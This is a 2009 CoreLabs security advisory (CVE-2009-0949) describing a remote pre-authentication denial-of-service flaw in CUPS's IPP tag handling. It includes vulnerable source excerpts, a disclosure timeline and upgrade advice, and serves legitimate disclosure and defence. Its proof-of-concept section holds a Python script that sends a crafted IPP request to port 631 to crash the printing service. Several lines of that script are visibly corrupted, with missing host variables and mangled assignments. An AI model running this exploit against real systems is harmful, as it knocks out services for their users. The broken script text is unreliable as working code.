Apple CUPS IPP_TAG_UNSUPPORTED Handling null pointer Vulnerability

Advisory ID Internal

Core Security - CoreLabs

Apple CUPS IPP_TAG_UNSUPPORTED Handling null pointer Vulnerability

1. Advisory Information

Title: Apple CUPS IPP_TAG_UNSUPPORTED Handling null pointer Vulnerability
Advisory ID: CORE-2009-0420
Advisory URL:
Date published: 2009-06-02
Date of last update: 2009-06-01
Vendors contacted: Apple Computer Inc.
Release mode: Coordinated release

2. Vulnerability Information

Class: Denial of service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: Yes
Bugtraq ID: 35169
CVE Name: CVE-2009-0949

3. Vulnerability Description

CUPS [1] provides a portable printing layer for UNIX based operating systems. It was developed by Easy Software Products and it is now owned and maintained by Apple Computer Inc. to promote a standard printing solution. It is the standard open source printing system for Mac OS X and other UNIX-like operating systems.

A flaw has been identified in CUPS, when handling the IPP_TAG_UNSUPPORTED tag, which could be exploited by attackers to cause a remote pre-authentication denial of service.

4. Vulnerable packages

  • CUPS 1.1.17
  • CUPS 1.1.23
  • CUPS 1.3.6
  • CUPS 1.3.7
  • CUPS 1.3.8
  • CUPS 1.3.9
  • Earlier versions may also be affected, but were not checked.

5. Non-vulnerable packages

  • CUPS 1.3.10

6. Vendor Information, Solutions and Workarounds

This flaw was fixed in Mac OS X 10.5.7 by updating CUPS to 1.3.10. Apple team intends to fix it on Mac OS X 10.4 in a future update. All CUPS users should upgrade the software to 1.3.10.

7. Credits

This vulnerability was discovered and researched by Anibal Sacco from the CORE IMPACT Exploit Writing Team (EWT) at Core Security Technologies.

8. Technical Description / Proof of Concept Code

This vulnerability identified in CUPS is caused by a bad ip structure initialization in the function ippReadIO(), located in cups/ipp.c, when processing a specially crafted IPP (Internet Printing Protocol) with two consecutives IPP_TAG_UNSUPPORTED tags. This flaw could be exploited by attackers to crash the affected application.

At ipp.c the function ippReadIO() is in charge of the initialization of the ipp structure, that represent the different tags of the current IPP request packet.

1016 ipp_state_t /* O - Current state */ 1017 ippReadIO(void *src, /* I - Data source */ 1018 ipp_iocb_t cb, /* I - Read callback function */ 1019 int blocking, /* I - Use blocking IO? */ 1020 ipp_t *parent, /* I - Parent request, if any */ 1021 ipp_t *ipp) /* I - IPP data */ 1022 { 1023 int n; /* Length of data */ 1024 unsigned char buffer[IPP_MAX_LENGTH + 1], 1025 /* Data buffer */ 1026 string[IPP_MAX_NAME], 1027 /* Small string buffer */ 1028 *bufptr; /* Pointer into buffer */ 1029 ipp_attribute_t *attr; /* Current attribute */ 1030 ipp_tag_t tag; /* Current tag */ 1031 ipp_tag_t value_tag; /* Current value tag */ 1032 ipp_value_t *value; /* Current value */ 1035 DEBUG_printf(("ippReadIO(%p, %p, %d, %p, %p)\n", src, cb, blocking, 1036 parent, ipp)); 1037 DEBUG_printf(("ippReadIO: ipp->state=%d\n", ipp->state)); 1039 if (src == NULL || ipp == NULL) 1040 return (IPP_ERROR); 1041 1042 switch (ipp->state) 1043 { 1044 case IPP_IDLE : 1045 ipp->state ++; /* Avoid common problem... */ 1046 1047 case IPP_HEADER : 1048 if (parent == NULL) 


As we can see in the code above, the packets can count with a few different tag attributes.

When an IPP packet is sent with a tag attribute lower than 0x10, it is considered by CUPS as an IPP_TAG_UNSUPPORTED tag:

else if (tag < IPP_TAG_UNSUPPORTED_VALUE) { /* * Group tag... Set the current group and continue... */ if (ipp->curtag == tag) ipp->prev = ippAddSeparator(ipp); else if (ipp->current) ipp->prev = ipp->current; ipp->curtag = tag; ipp->current = NULL; DEBUG_printf(("ippReadIO: group tag = %x, ipp->prev=%p\n", tag, ipp->prev)); continue; } 


Because of the way that CUPS handles this kind of tags, if a packet contains two consecutives IPP_TAG_UNSUPPORTED, the last node of the IPP structure will be initialized as NULL.

This will lead to a crash when the cupsdProcessIPPRequest function tries to read the name field of the attr structure.

/* * 'cupsdProcessIPPRequest()' - Process an incoming IPP request. */ int /* O - 1 on success, 0 on failure */ cupsdProcessIPPRequest( cupsd_client_t *con) /* I - Client connection */ ... if (!attr) { /* * Then make sure that the first three attributes are: * * attributes-charset * attributes-natural-language * printer-uri/job-uri */ attr = con->request->attrs; if (attr && !strcmp(attr->name, "attributes-charset") && (attr->value_tag & IPP_TAG_MASK) == IPP_TAG_CHARSET) charset = attr; else charset = NULL; ... 



8.1. Proof of Concept

The following Python script is the proof of concept written by Anibal Sacco to trigger the vulnerability.

from struct import pack import sys import socket class IppRequest: """ Little class to implement a basic Internet Printing Protocol """ def __init__(self, host, port, printers, hpgl_data="a"): self.printers = printers = host self.port = port self.hpgl_data = hpgl_data self.get_ipp_request() def attribute(self, tag, name, value): data = pack('>B',tag) data += pack('>H',len(name)) data += name data += pack('>H',len(value)) data += value return data def get_http_request(self): http_request = "POST /printers/%s HTTP/1.1\r\n" % self.printers http_request += "Content-Type: application/ipp\r\n" http_request += "User-Agent: Internet Print Provider\r\n" http_request += "Host: %s\r\n" % http_request += "Content-Length: %d\r\n" % len(self.ipp_data) http_request += "Connection: Keep-Alive\r\n" http_request += "Cache-Control: no-cache\r\n" return http_request def get_ipp_request(self): operation_attr = self.attribute(0x47, 'attributes-charset', 'utf-8') operation_attr += self.attribute(0x48, 'attributes-natural-language', 'en-us') operation_attr += self.attribute(0x45, 'printer-uri', "http://%s:%s/printers/%s" % (, self.port, self.printers)) operation_attr += self.attribute(0x42, 'job-name', 'foo barrrrrrrr') operation_attr += self.attribute(0x42, 'document-format', 'application/vnd.hp-HPGL') self.ipp_data = "\x01\x00" # version-number: 1.0 self.ipp_data += "\x00\x02" # operation-id: Print-job self.ipp_data += "\x00\x00\x00\x01" # request-id: 1 self.ipp_data += "\x01" # operation-attributes-tag self.ipp_data += "\x0f\x0f" # self.ipp_data += operation_attr self.ipp_data += "\x02" # job-attributes-tag self.ipp_data += "\x03" # end-of-attributes-tag self.ipp_data += self.hpgl_data; return self.ipp_data def main(): try: printer = sys.argv[1] host = sys.argv[2] except: print "[+] Usage: exploit printer_name host" return 0 data = "A"*100 ipp = IppRequest(host,"80", printer, data) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Connecting to the host" s.connect((host, 631)) #requests = ipp.get_http_request() #for each in requests: # s.send(each) print "[+] Sending request" s.send(ipp.get_http_request()) s.send("\r\n") print "[+] Sending ipp data" s.send(ipp.get_ipp_request()) print "Response:%s" % s.recv(1024) print "done!" if __name__ == "__main__": sys.exit(main()) 



9. Report Timeline

  • 2009-04-28: Core Security Technologies notifies the Apple Product Security Team of the vulnerability and announces its initial plan to publish the advisory on May 20th, 2009. Technical details and Proof of Concept (PoC) are sent to Apple Security Team.
  • 2009-04-28: The vendor acknowledges reception of the technical report and PoC.
  • 2009-05-11: Core reminds Apple Security Team its initial plan to publish the advisory on May 20th, and asks the confirmation that patches will be released by then.
  • 2009-05-12: Core notifies Apple Security Team that this is a multi-vendor issue (affecting, for example, multiple Linux distributions), and asks if the patch process of the CUPS vulnerability will be coordinated using the vendor-sec mailing list [2].
  • 2009-05-12: Apple Product Security Team notifies Core they will contact vendor-sec about this issue very soon and proposes to reschedule the advisory publication date to June 2nd. The vendor also notifies the issue was addressed in Mac OS X 10.5.7 by updating CUPS to version 1.3.10.
  • 2009-05-13: Apple Product Security Team notifies the suggested fix would be to update to CUPS 1.3.10.
  • 2009-05-15: The Red Hat Security Response Team informs (via vendor-sec) CUPS 1.1.17 is the oldest version they still ship and it is affected too. This issue will probably affect even earlier CUPS versions too.
  • 2009-05-25: The Debian Team informs (via vendor-sec) there is a bug in the PoC provided by Core. The advisory PoC is changed according to the comments made by Debian Team.
  • 2009-05-28: Core notifies that the advisory is going to be released on June 2nd, and requests a confirmation from Apple Security Team and vendor-sec subscribers.
  • 2009-05-29: Apple Security Team, Red Hat Security Response Team and Debian Team confirm the proposed release date. There was no request for embargo date shift posted to vendor-sec.
  • 2009-06-02: The advisory CORE-2009-0420 is published.

10. References

[2] Vendor-sec, a mailing list dedicated to distributors of operating systems using (but not necessarily solely comprised of) free and open-source software.

11. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at:

12. About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at

13. Disclaimer

The contents of this advisory are copyright (c) 2009 Core Security Technologies and (c) 2009 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

14. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team.